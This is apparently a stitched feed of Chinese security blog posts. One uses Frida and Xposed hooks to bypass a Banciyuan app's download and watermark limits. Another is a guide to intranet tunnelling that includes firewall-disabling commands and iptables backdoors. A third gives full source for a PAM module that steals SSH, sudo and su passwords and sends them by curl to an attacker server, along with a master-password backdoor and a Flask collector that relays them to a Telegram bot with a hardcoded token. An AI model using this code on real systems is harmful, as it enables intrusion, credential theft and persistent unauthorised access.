/* renamed from: b */
final /* synthetic */ C2296a f6188b;
public void onErrorResponse(VolleyError volleyError) {
c2271b.mo2700b("");
}
}));
}
}
}
在com.banciyuan.bcywebview.biz.picshow.ViewPictureActivity2这个类中,找到了名为mo2699a的方法,不过这里是一个闭包,不方便编写hook代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26protected void mo2523h() {
new C2296a(this).m6896a(this.f6170i, new C2271b(this) {
/* renamed from: a */
final /* synthetic */ ViewPictureActivity2 f6149a;
{
this.f6149a = r1;
}
/* renamed from: a */
public void mo2699a(String str) {
try {
String string = new JSONObject(str).getString("data");
this.f6149a.f6172k = (OrignPic) new Gson().fromJson(string, OrignPic.class);
this.f6149a.m6848w();
} catch (Exception e) {
this.f6149a.m6847v();
}
}
/* renamed from: b */
public void mo2700b(String str) {
this.f6149a.m6847v();
}
});
}
想更优雅一点,直接在要下载的地方hook,而不是每个请求都hook,往下翻找到m6849x方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28private void m6849x() {
int i = 0;
while (i < this.f6171j.size()) {
Fragment c2290a = new C2290a();
Bundle bundle = new Bundle();
if (i < this.f6172k.getMultis().size() && m6832c(((Multi) this.f6172k.getMultis().get(i)).getPath()).booleanValue()) {
bundle.putBoolean("is_big", true);
// 可以看到在getMultis方法后面取值然后接上了getPath方法,和抓包过程中的Response层级一致
this.f6171j.set(i, ((Multi) this.f6172k.getMultis().get(i)).getPath());
this.f6164c.put(i, true);
if (i == this.f6178q) {
m6833c(8);
}
}
bundle.putString("path", (String) this.f6171j.get(i));
bundle.putInt("index", i);
bundle.putSerializable("uname", this.f6180s);
bundle.putBoolean("water_mark", this.f6181t);
c2290a.setArguments(bundle);
this.f6169h.add(c2290a);
i++;
}
this.f6165d.setAdapter(new C2282a(this, getSupportFragmentManager()));
this.f6165d.setCurrentItem(this.f6178q);
this.f6179r = this.f6171j.size();
this.f6166e.setText((this.f6178q + 1) + "/" + this.f6179r);
this.f6166e.setVisibility(0);
}
在上面这个方法中,并不是用setPath这种方式赋值,而是先放入一个bundle对象中,再批量给属性赋值。如果在这里hook,每次赋值都要判断,会非常不优雅。既然有getMultis和getPath,那么肯定有判断是否允许下载的方法。还是全局搜索,发现使用greenDAO这个ORM框架,在de.greenrobot.daoexample下面找到了关键方法,只要修改下面方法就能绕过限制。
1
2
3de.greenrobot.daoexample.model.Multi.getPath()
de.greenrobot.daoexample.model.PostItem.getPath()
de.greenrobot.daoexample.model.OrignPic.isDownload()
先使用Frida验证一下hook这些方法是否可行,这台电脑还没装Frida,先安装一下。
1
2
3sudo pip install frida-tools
wget https://github.com/frida/frida/releases/download/12.0.7/frida-server-12.0.7-android-arm64.xz
xz -d frida-server-12.0.7-android-arm64.xz
在安卓设备上运行Frida Server
1
2adb push frida-server-12.0.7-android-arm64 /data/local/tmp
adb shell su -c "/data/local/tmp/frida-server-12.0.7-android-arm64"
使用frida-ps
查看进程名称
1
2frida-ps aU | grep banciyuan
半次元 com.banciyuan.bcywebview
编写调试脚本,hook并修改逻辑,输出为bcy.js。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25setTimeout(function() {
Java.perform(function() {
var pathRe = /\?imageMogr2.*$/g;
var Multi = Java.use("de.greenrobot.daoexample.model.Multi");
Multi.getPath.implementation = function() {
var path = this.getPath().replace(pathRe, '');
console.log(path);
return path;
}
var PostItem = Java.use("de.greenrobot.daoexample.model.PostItem");
PostItem.getPath.implementation = function() {
var path = this.getPath().replace(pathRe, '');
console.log(path);
return path;
}
var OrignPic = Java.use("de.greenrobot.daoexample.model.OrignPic");
OrignPic.isDownload.implementation = function() {
console.log(this.isDownload());
return true;
}
});
}, 0);
运行调试脚本
1
frida -U -f com.banciyuan.bcywebview -l bcy.js --no-pause
普通预览存在水印,但是原图图片水印已经去除,已经绕过下载限制,并且实际保存的图片没有水印。
直接贴代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48public class Main implements IXposedHookLoadPackage {
public void handleLoadPackage(final XC_LoadPackage.LoadPackageParam loadPackageParam) throws Throwable {
if (!loadPackageParam.packageName.equals("com.banciyuan.bcywebview"))
return;
findAndHookMethod("de.greenrobot.daoexample.model.Multi", loadPackageParam.classLoader, "getPath", new XC_MethodReplacement() {
protected Object replaceHookedMethod(MethodHookParam param) throws Throwable {
try {
String path = (String) XposedHelpers.getObjectField(param.thisObject, "path");
int imageMogrIndex = path.indexOf("?");
if (imageMogrIndex > 1) {
path = path.substring(0, imageMogrIndex);
}
return path;
} catch (Throwable t) {
XposedBridge.log(t);
return "";
}
}
});
findAndHookMethod("de.greenrobot.daoexample.model.PostItem", loadPackageParam.classLoader, "getPath", new XC_MethodReplacement() {
protected Object replaceHookedMethod(MethodHookParam param) throws Throwable {
try {
XposedBridge.log("PostItem");
String path = (String) XposedHelpers.getObjectField(param.thisObject, "path");
int imageMogrIndex = path.indexOf("?");
if (imageMogrIndex > 1) {
path = path.substring(0, imageMogrIndex);
}
return path;
} catch (Throwable t) {
XposedBridge.log(t);
return "";
}
}
});
findAndHookMethod("de.greenrobot.daoexample.model.OrignPic", loadPackageParam.classLoader, "isDownload", new XC_MethodReplacement() {
protected Object replaceHookedMethod(MethodHookParam param) throws Throwable {
return true;
}
});
}
}
附上GitHub链接
https://github.com/gorgiaxx/bcyhelper
渗透测试中,必须使用代理服务器,所以首先假设我们有一台具有公网IP的服务器,作为攻击机。
内网是相对的,有时进入DMZ区,发现要使用VPN进入目标网段。在这里讨论只一台受害主机的攻击路径,认为是最小元,需要得出一个方法论,这个方法论将适用于更多台受害主机的环境。
如果拿下的受害机在公网开放了端口,并且没有防火墙,可以随意访问它的端口,那么直接可以把它抽象成攻击机。
但是,如果拿下的主机不是开放在公网的,或者说上级具有防火墙意义的设备,那么进行下面的步骤。
一般情况下,都是通过TCP方式访问服务器。
如果目标服务器无法使用TCP出站,那么可以使用UDP隧道,这里就不存在正向反向的概念,而是客户端与服务端的概念了。有时会遇到设有防火墙的机器,如果是黑名单策略,相对好搞。如果是白名单策略,一般不会禁用UDP,可能会允许出访问外部53端口。如果连出站的UDP都禁用的话,那么使用ICMP隧道,但在这种场景下,极有可能拦截ICMP包。
大多情况下建立隧道不是很稳定,通常会建立隧道之后利用受害机的ssh服务,启用socks5代理打入内网(配合Socks客户端,proxychains-NG或proxifier)。
首先定义A为攻击机,B为受害跳板机,C为其他机器,也可以为B本身,在后续的介绍中也会用到这些定义。接下来分清几个概念,只要能够区分mapping(映射)和tunning(隧道)就行。用中文来理解比较隐晦,其实mapping和tunning都属于转发(forwarding),映射也能称作正向的转发,反弹可以理解为反向的转发。
这里指网络层与传输层的数据转发
这里只针对SSH1,首先介绍几个可选参数
1
2
3
4
5-C 启用压缩,在网络差的情况下使用,也可以用来拖数据
-N 不执行任何命令,只做端口转发
-g 允许远程主机连接到本地转发端口,如果访问受害机本地端口,需要指定此参数
-q 静默模式
-T 禁用伪终端,使用who看不到伪终端用户(但是这里好像不需要)
1
ssh -Ng -L local:13389:target_C:3389 root@victim_B
可能需要在/etc/ssh/sshd_config设置AllowAgentForwarding yesAllowTcpForwarding yesGatewayPorts yes
1
ssh -N -R remote:3000:local:80 root@victim_B
1
ssh -N -D 127.0.0.1:1080 root@victim_B
首先开启系统内核的IPv4转发
1
echo 1 > /proc/sys/net/ipv4/ip_forward
利用NAT对端口进行转发
1
2iptables -t nat -A PREROUTING -d victim_B -p tcp --dport listen_port -j DNAT --to-destination target_C:target_port
iptables -t nat -A POSTROUTING -d target_C -p tcp --dport target_port -j SNAT --to victim_B
使用系统自带端口映射
1
netsh interface portproxy add v4tov4 listenaddress=victim_B listenport=3388 connectaddress=target_C connectport=3389
删除转发规则
1
netsh interface portproxy delete v4tov4 listenaddress=victim_B listenport=3388
防火墙允许相应入站规则
1
netsh advfirewall firewall add rule name="forwarded_RDP_3388" protocol=TCP dir=in localip=victim_B localport=3388 action=allow
也可以关闭防火墙
1
2
3
4
5
6# 新版
netsh advfirewall set allprofiles state off
# 旧版
netsh firewall set opmode disable
# 或
net stop mpssvc
查看所有代理
1
netsh interface portproxy show all
首先在流行的发行版中,大多数NetCat不支持监听端口和程序重定向。NetCat是非常强大的网络工具,支持扫描,各种数据传输,Ncat是改进版本,这里只介绍网络层面的转发和映射。SoCat更强大,支持更多种输入输出,支持连接复用。
首先在B主机创建FIFO文件,然后把C主机的SSH服务端口映射到B主机的9000端口
1
2
3
4mkfifo /tmp/fifo
cat /tmp/fifo | nc target_C 22 | nc -vlp 9000 > /tmp/fifo
# 或者
cat /tmp/fifo | nc -vlp 9000 | nc target_C 22 > /tmp/fifo
或者使用socat,这样只能连接一次
1
socat tcp-connect:target_C:22 tcp-listen:9000
使用reuseaddr,reuseport,fork参数,允许多次链接
1
socat tcp-listen:9000,reuseaddr,reuseport,fork tcp-connect:target_C:22
在A主机用SSH连接B主机的9000端口,就能使用C主机的SSH服务。
1
ssh root@victim_B -p 9000
首先,在A主机创建FIFO文件,然后监听8888端口接收来自B主机的转发数据,监听9000端口作为转发服务端口。
1
2
3
4mkfifo /tmp/fifo
cat /tmp/fifo | nc -vlp 8888 | nc -vlp 9000 > /tmp/fifo
# 或者
cat /tmp/fifo | nc -vlp 9000 | nc -vlp 8888 > /tmp/fifo
或者使用socat
1
socat tcp-listen:8888,reuseaddr,reuseport,fork tcp-listen:9000,reuseaddr,reuseport,fork
其次,在B主机创建FIFO文件,然后把C主机的SSH服务转发给攻击机监听的8888端口。
1
2
3
4mkfifo /tmp/fifo
cat /tmp/fifo | nc target_C 22 | nc attacker_A 8888 > /tmp/fifo
# 或者
cat /tmp/fifo | nc attacker_A 8888 | nc target_C 22 > /tmp/fifo
或者使用socat
1
socat tcp-connect:target_C:22 tcp-connect:attacker_A:8888
最后,使用ssh连接A主机的9000端口,即连接到了C主机的22端口
1
ssh root@attacker_A -p 9000
SoCat跟Netcat操作类似,但是更加强大。支持多重不同层次的协议。
1
2
3
4
5
6
7
8TCP4 TCP IPv4
TCP6 TCP IPv6
UDP UDP协议
UNIX UNIX本地套接字
SCTP4 SCTP IPv4
SCTP6 SCTP IPv6
OPENSSL 安全套接层
SOCKET 套接字
1
socat tcp-connect:target_C:22 tcp-listen:9000
使用reuseaddr,reuseport,fork参数,允许多次链接
1
socat tcp-listen:9000,reuseaddr,reuseport,fork tcp-connect:target_C:22
1
2
3
4# victim_B
socat tcp-listen:8888,reuseaddr,reuseport,fork tcp-listen:9000,reuseaddr,reuseport,fork
# attacker_A
socat tcp-connect:target_C:22 tcp-connect:attacker_A:8888
在Linux下,可以使用SoCat,但是在Windows下就不行了
1
socat UDP-LISTEN:8888 tcp-connect:target_C:22
NetCat只要加个-u就行
1
cat /tmp/fifo | nc -vulp 9000 | nc 192.168.1.127 22 > /tmp/fifo
https://github.com/ring04h/rtcp2udp
https://code.google.com/p/udptunnel/
首先确保这里为0
1
/proc/sys/net/ipv4/icmp_echo_ignore_all
https://github.com/jamesbarlow/icmptunnel.git
Linux平台
https://pkgs.org/download/ptunnel
Windows平台
https://github.com/ptunnel-win
SCTP属于传输层协议,不在防火墙TCP、UDP策略的范围内,Ncat支持,这里使用SoCat,跟端口映射类似,SCTP监听8888端口
1
socat SCTP-LISTEN:8888 tcp-connect:target_C:22
大多数Linux不支持
1
2socat TCP4-LISTEN:8886,reuseaddr,type=6,prototype=33 TCP-CONNECT:target_C:22
socat TCP4-CONNECT:8886,reuseaddr,type=6,prototype=33 TCP-LISTEN:9000
首先要确保Nginx使用了stream模块
1
2# 结果返回 --with-stream
nginx -V | grep stream
在nginx.conf加入下面这段
1
2
3
4
5
6
7
8stream {
server {
listen 88;
proxy_connect_timeout 3s;
proxy_timeout 10s;
proxy_pass 127.0.0.1:22;
}
}
使nginx重载配置
1
nginx -s reload
dog-tunnel - 一个代理工具,主要是打洞,同事推荐EarthWorm - 虫洞,全平台,好评较多,用起来老是断开,不稳定Termite - 虫洞的下一代蚁群,全平台,想法很好,用起来老是崩溃,体验不怎么好JSPspy,ASPXspy,PHPspy - 无下载地址,这些WebShell带有tunnel和portmap的功能fpipe - 考古向,McAfee出品的端口映射工具(Win下)passport - 考古向,XP上的端口转发工具,支持UDPHTran - 考古向,也就是大家口中的lcx,速度一般,但是稳定
条件允许的情况下,可以直接在服务器开启Socks服务,然后配合客户端使用。因为简单加上网上数量众多,加上很多工具附带,这里主要使用Socks5(RFC1928),随便列举一些工具。
Go Socks5C# Socks5C++ Socks5py Socks4/5PS Socks4/5 - 支持端口映射
在MSF下可以使用端口转发和代理功能
1
portfwd add -l 2222 -r target -p 3389
设定路由
1
route add 192.168.0.0 255.255.0.0 1
启用socks4a代理
1
2
3use auxiliary/server/socks4a
set SRVPORT 2080
exploit -y
CobaltStrike可以在目标上开启Socks4A,转发到Teamserver,然后Teamserver监听端口,等待攻击者连接。
iodine - 非常好用的DNS隧道Dns2tcp - Kali预装的DNS隧道dnscat2 - 用Ruby写的DNS隧道,还没用过
reGeorg - reGeorg修改版,支持自定义头,优化了连接次数,更加快和稳定Tunna - 另一款正向代理,新增了自定义Cookie,基础认证,稳定性一般ABPTTS - 据说是融合了reGeorg和Tunna的优点,更加稳定,兼容性更好,但是不支持自定义HTTP头,找个时间加上去reDuh - 考古,reGeorg的前身
TODO, 上次听N1nty大哥分享的JSPspy on RMI,有了这个灵感,找个时间填上去。
有时资源有限,无法再新增资源,这时候需要复用
因为有用到WebShell的Tunnel,所以这里稍微提一下。有时,目录下直接新增webshell文件会被管理员发现,这就很尴尬,直接在文件中插入后门,包含一个资源后缀名的webshell。或者修改配置文件,允许解析资源类型文件。也可以加载进内存中,不过重启服务就会失效。
在Nginx中,对于HTTP服务,可以通过路由策略复用端口,解析资源文件类型的Webshell。
TODO, 是否可以实现nginx的stream和http服务共用端口,可能要用到lua。
这里借用N1nty的分享,这里作者介绍当接收到指定特征的数据包,就启用对应规则,首先创建转发规则,然后再创建触发机制。这篇文章在其他安全媒体也有投稿,评论里有自作聪明的人提到根据IP转发,说这种话的是没仔细看文章的。
将发送本机 80 端口,源端口为 8989 的流量重定向至本机 22 端口
1
/sbin/iptables -t nat -A PREROUTING -p tcp --sport 8989 --dport 80 -j REDIRECT --to-port 22
本地监听 9000 端口,使用源端口 8989 访问受害机的 80 端口
1
2socat tcp-listen:9000,fork,reuseaddr tcp:victim_B:80,sourceport=8989,reuseaddr &
ssh attacker_A@127.0.0.1 -p 9000
利用 ICMP 做遥控开关。缺点在于如果目标在内网,你是无法直接 ping 到它的。
1
2
3
4
5
6
7
8
9
10
11
12
13# 创建端口复用链
iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
# let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
IP包头20字节,ICMP包头8字节,iptables包长度=ICMP包内容长度+28字节
1
2
3
4## enable LETMEIN
ping -c 1 -s 1111 victim_B
## disable LETMEIN
ping -c 1 -s 1112 victim_B
利用 tcp 数据包中的关键字做遥控开关,不怕目标在内网。
1
2
3
4
5
6
7
8
9
10
11
12# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
这样有一个缺点,就是加入letmein的ip列表是上级代理的IP,所以开启这项规则会影响正常用户的使用。
但是觉得这样已经做的很好了,因为经过IP层会变化,没有空余的字段作为标记。TCP层除了Urgent Pointer这个字段其他都有用,所以只能在内容里做识别,但是这样iptables就没有用了,也偏离了最初的目的,就算在非常极端的环境,宁愿去复用应用层的服务,也不愿意去折腾这个。
1
2
3
4## enable LETMEIN
echo threathuntercoming | socat - tcp:victim_B:80
## disable LETMEIN
echo threathunterleaving | socat - tcp:victim_B:80
如果设备支持IPv6,也许端口不被限制,可以尝试。
Linux下使用IPv6地址,要加%号指定接口名
1
2ssh root@fe80::2e0:4cff:fe68:eae%eth0
ping6 fe80::aefa:5908:5d93:44ba%eth0
Windows下直接使用
1
ping -6 fe80::aefa:5908:5d93:44ba
这只是渗透中的一个小环节,实战时需要对抗入侵检测系统,这方面还是技术盲点。
Linux-PAM是可插入认证模块(Pluggable Authentication Modules),PAM使用配置/etc/pam.d/下的文件,来管理对程序的认证方式。
根据/etc/pam.d/下的各种服务配置文件,调用/lib/security下相应的模块,以加载动态链接库的形式实现需要的认证方式。
后渗透阶段中,当拿到root权限,刚好管理员只用root账户,想获得管理员密码进行横向渗透时,可以利用PAM获取管理员的明文密码。
sshLooter便是通过此方式获取管理员明文密码,但它基于python-pam,实战环境中python环境经常符合预期,而且直接硬编码telegram-bot的token,一旦泄露,可能会被骗入蜜罐,这个工具用起来非常鸡肋,因此有了下面的实践。
首先查看系统和PAM版本,不同发行版的版本不同,不一定能通用
1
2
3
4getconf LONG_BIT
cat /etc/redhat-release
rpm -qa | grep pam
apt-get list --installed | grep pam
然后vi /etc/ssh/sshd_config,确保UsePAM启用
1
2
3
4
5
6
7
8
9
10# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication mechanism.
# Depending on your PAM configuration, this may bypass the setting of
# PasswordAuthentication, PermitEmptyPasswords, and
# "PermitRootLogin without-password". If you just want the PAM account and
# session checks to run without PAM authentication, then enable this but set
# ChallengeResponseAuthentication=no
#UsePAM no
UsePAM yes
目前我只在下面两个平台测试过
1
2pam-0.99.6.2-6.el5_5.2 CentOS release 5.8
pam-1.1.1-13.el6.x86_64 CentOS release 6.4
在PAM源码中,pam_sm_authenticate函数对应认证服务,我们要在这里获得密码。下面是代码,保存为pam_authx.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
static void _pam_log(int err, const char *format, ...) {
va_list args;
va_start(args, format);
// openlog("pam_authx", LOG_CONS|LOG_PID, LOG_AUTH);
vsyslog(err, format, args);
va_end(args);
closelog();
}
static void _write_log(char *path, char *content) {
FILE *fp;
fp=fopen(path,"a");
fprintf(fp,"%s\n", content);
fclose(fp);
}
char chr(int value) {
char result = '\0';
if(value >= 0 && value <= 9) {
result = (char)(value + 48);
} else if(value >= 10 && value <= 15) {
result = (char)(value - 10 + 65);
} else {
;
}
}
static int str_to_hex(char *ch, char *hex) {
int high,low;
int tmp = 0;
if(ch == NULL || hex == NULL) {
return -1;
}
if(strlen(ch) == 0) {
return -2;
}
while(*ch) {
tmp = (int)*ch;
high = tmp >> 4;
low = tmp & 15;
*hex++ = chr(high);
*hex++ = chr(low);
ch++;
}
*hex = '\0';
return 0;
}
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
char *username;
char *password;
char *remotehost;
pam_get_item(pamh, PAM_USER, (void*) &username);
pam_get_item(pamh, PAM_AUTHTOK, (void*) &password);
pam_get_item(pamh, PAM_RHOST, (void*) &remotehost);
if (!username || !password) {
return PAM_AUTHINFO_UNAVAIL;
}
// 前提开启syslog,输出在debug,三种记录方式可选择注释
_pam_log(LOG_DEBUG, "ssh auth attempt: %s entered the password %s", username, password);
char cmd[300];
char password_hex[200];
// 把密码转成HexString格式,因为有其他符号容易出bug
str_to_hex(password, password_hex);
// 把密码输出至/tmp/6W1PUsEP7qUC.log,并且通过HTTP协议回源到我的服务器
strcpy(cmd, "curl -d 'msg=");
strcat(cmd, username);
strcat(cmd, "::");
strcat(cmd, password_hex);
_write_log("/tmp/6W1PUsEP7qUC.log", cmd);
strcat(cmd, "::");
strcat(cmd, remotehost);
strcat(cmd, "' 'http://target:8443/ssh'");
system(cmd);
return(PAM_SUCCESS);
}
int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return(PAM_IGNORE);
}
使用gcc直接编译成动态链接库文件
1
gcc -fPIC -DPIC -shared -rdynamic -o pam_authx.so pam_authx.c
根据官方说明,为了获取密码,我们要设置成auth模块类型
auth -this module type provides two aspects of authenticating the user. Firstly, it establishes that the user is who they claim to be, by instructing the application to prompt the user for a password or other means of identification. Secondly, the module can grant group membership or other privileges through its credential granting properties.
就算失败也继续执行其他模块
required -failure of such a PAM will ultimately lead to the PAM-API returning failure but only after the remaining stacked modules (for this service and type) have been invoked.
因为上面的代码只是针对pam_sm_authenticate函数的,为了快速编译而写的,所以还是需要用到pam_unix.so模块,它会把密码与/etc/shadow中的哈希对比。接下来在/etc/pam.d/的对应配置文件首行加入下面两条配置,根据官方说明,按顺序就行。
1
2
3
4# Ubuntu
/etc/pam.d/common-auth-ys
# CentOS
/etc/pam.d/sshd
An important feature of PAM, is that a number of rules may be stacked to combine the services of a number of PAMs for a given authentication task.
1
2auth required pam_unix.so
auth required pam_authx.so
这里可以对sshd, sudo, su, passwd等服务加入后门模块,当然后者属于低权限用户,可以使用trace跟踪输入的密码
1
2
3
4sed -i "1iauth required pam_unix.so\nauth required pam_authx.so" /etc/pam.d/sshd
sed -i "1iauth required pam_unix.so\nauth required pam_authx.so" /etc/pam.d/sudo
sed -i "1iauth required pam_unix.so\nauth required pam_authx.so" /etc/pam.d/su
sed -i "1iauth required pam_unix.so\nauth required pam_authx.so" /etc/pam.d/passwd
下载目标编辑好的pam后门到目标电脑
1
2
3
4
5
6# CentOS
wget http://target:8443/download/authx -O /lib64/security/pam_authx.so
# Ubuntu
wget http://target:8443/download/authx -O /lib/x86_64-linux-gnu/security/pam_authx.so
chmod a+x /lib64/security/pam_authx.so
如果模块无效,可以使用此方法,先查看日志
1
tail /var/log/secure
如果因为版本兼容性原因,可以去这个地址下载对应版本的PAM
1
http://www.linux-pam.org/library/
下载完毕解压并编辑pam_unix_auth.c
1
2
3tar -zxvf Linux-PAM-1.1.1.tar.gz
cd Linux-PAM-1.1.1
vim modules/pam_unix/pam_unix_auth.c
对pam_sm_authenticate函数进行修改,编译,然后直接替换64位目标机器的/lib64/security/pam_authx.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags ,int argc, const char **argv)
{
unsigned int ctrl;
int retval, *ret_data = NULL;
const char *name;
const void *p;
...
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
// ------------- 在此处添加代码 -----------------
// 加入指定密码后门,如果输入buyaoluwo,也能登录成功
if(strcmp(p,"buyaoluwo")==0) {
retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS) {
// 当密码正确,这里可以添加输出密码的代码。
}
// ------------- 在此处添加代码 -----------------
name = p = NULL;
AUTH_RETURN;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142import socket
import StringIO
import sys
class WSGIServer(object):
address_family = socket.AF_INET
socket_type = socket.SOCK_STREAM
request_queue_size = 1
def __init__(self, server_address):
# Create a listening socket
self.listen_socket = listen_socket = socket.socket(
self.address_family,
self.socket_type
)
# Allow to reuse the same address
listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Bind
listen_socket.bind(server_address)
# Activate
listen_socket.listen(self.request_queue_size)
# Get server host name and port
host, port = self.listen_socket.getsockname()[:2]
self.server_name = socket.getfqdn(host)
self.server_port = port
# Return headers set by Web framework/Web application
self.headers_set = []
def set_app(self, application):
self.application = application
def serve_forever(self):
listen_socket = self.listen_socket
while True:
# New client connection
self.client_connection, client_address = listen_socket.accept()
# Handle one request and close the client connection. Then
# loop over to wait for another client connection
self.handle_one_request()
def handle_one_request(self):
self.request_data = request_data = self.client_connection.recv(1024)
# Print formatted request data a la 'curl -v'
print(''.join(
'< {line}\n'.format(line=line)
for line in request_data.splitlines()
))
self.parse_request(request_data)
# Construct environment dictionary using request data
env = self.get_environ()
# It's time to call our application callable and get
# back a result that will become HTTP response body
result = self.application(env, self.start_response)
# Construct a response and send it back to the client
self.finish_response(result)
def parse_request(self, text):
request_line = text.splitlines()[0]
request_line = request_line.rstrip('\r\n')
# Break down the request line into components
(self.request_method, # GET
self.path, # /hello
self.request_version # HTTP/1.1
) = request_line.split()
def get_environ(self):
env = {}
# The following code snippet does not follow PEP8 conventions
# but it's formatted the way it is for demonstration purposes
# to emphasize the required variables and their values
#
# Required WSGI variables
env['wsgi.version'] = (1, 0)
env['wsgi.url_scheme'] = 'http'
env['wsgi.input'] = StringIO.StringIO(self.request_data)
env['wsgi.errors'] = sys.stderr
env['wsgi.multithread'] = False
env['wsgi.multiprocess'] = False
env['wsgi.run_once'] = False
# Required CGI variables
env['REQUEST_METHOD'] = self.request_method # GET
env['PATH_INFO'] = self.path # /hello
env['SERVER_NAME'] = self.server_name # localhost
env['SERVER_PORT'] = str(self.server_port) # 8888
return env
def start_response(self, status, response_headers, exc_info=None):
# Add necessary server headers
server_headers = [
('Date', 'Tue, 31 Mar 2015 12:54:48 GMT'),
('Server', 'WSGIServer 0.2'),
]
self.headers_set = [status, response_headers + server_headers]
# To adhere to WSGI specification the start_response must return
# a 'write' callable. We simplicity's sake we'll ignore that detail
# for now.
# return self.finish_response
def finish_response(self, result):
try:
status, response_headers = self.headers_set
response = 'HTTP/1.1 {status}\r\n'.format(status=status)
for header in response_headers:
response += '{0}: {1}\r\n'.format(*header)
response += '\r\n'
for data in result:
response += data
# Print formatted response data a la 'curl -v'
print(''.join(
'> {line}\n'.format(line=line)
for line in response.splitlines()
))
self.client_connection.sendall(response)
finally:
self.client_connection.close()
SERVER_ADDRESS = (HOST, PORT) = '', 8443
def make_server(server_address, application):
server = WSGIServer(server_address)
server.set_app(application)
return server
if __name__ == '__main__':
if len(sys.argv) < 2:
sys.exit('Provide a WSGI application object as module:callable')
app_path = sys.argv[1]
module, application = app_path.split(':')
module = __import__(module)
application = getattr(module, application)
httpd = make_server(SERVER_ADDRESS, application)
print('WSGIServer: Serving HTTP on port {port} ...\n'.format(port=PORT))
httpd.serve_forever()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39from flask import Flask
from flask import request
from flask import send_from_directory
import requests,binascii
import os
# nohup gunicorn -w 1 -b 0.0.0.0:8443 mikasa:app > /dev/null 2>&1 &
app = Flask(__name__)
def ssh():
if request.method == 'POST' and request.form.get('msg'):
msg = request.form.to_dict().get("msg")
msg = msg.split("::")
print(msg[1])
msg = "host: " + msg[2] + "\nusername: " + msg[0] + "\npassword: " + str(bytearray.fromhex(msg[1]))
sendMessage(msg)
return "200"
def downloadssh():
directory = os.getcwd()
return send_from_directory(directory, "install_ssh.sh", as_attachment=True)
def downloadauthx():
directory = os.getcwd()
return send_from_directory(directory, "pam_authx.so", as_attachment=True)
def sendMessage(msg):
apiKey = "248346092:BAHX0RP9C1x9TV358Fq7I6i4iyR-bOdmJfo"
userId = "14491864"
data = {"chat_id":userId,"text":msg}
url = "https://api.telegram.org/bot{}/sendMessage".format(apiKey)
r = requests.post(url,json=data)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8443)
我的回源服务器会将密码发送到telegram-bot
The Linux-PAM configuration fileThe Linux-PAM Module Writers' Guide
]]>首先声明此漏洞很老,修复的话只需升级到M7.5版本,前段时间无意间看到安全群有人聊到绕深信服SSL VPN的ACL,一直想实践一下,后来再网上只找到了这一篇两年前的参考资料看我如何利用burp大法绕过深信服SSL VPN访问权限控制,并且这个人的马赛克非常可怕,导致几乎信息量太少,看不懂他在说什么。
于是我花时间研究了一下,其实没有他说的那么复杂,就是中间人攻击:服务端返回ACL列表之后,替换端口范围,客户端对端口进行访问控制,服务端对IP访问控制。这个漏洞提交者提出了能否绕IP的问题,但是这部分没验证也没有解释,评论都是一片膜拜,导致我以为能绕IP访问控制。
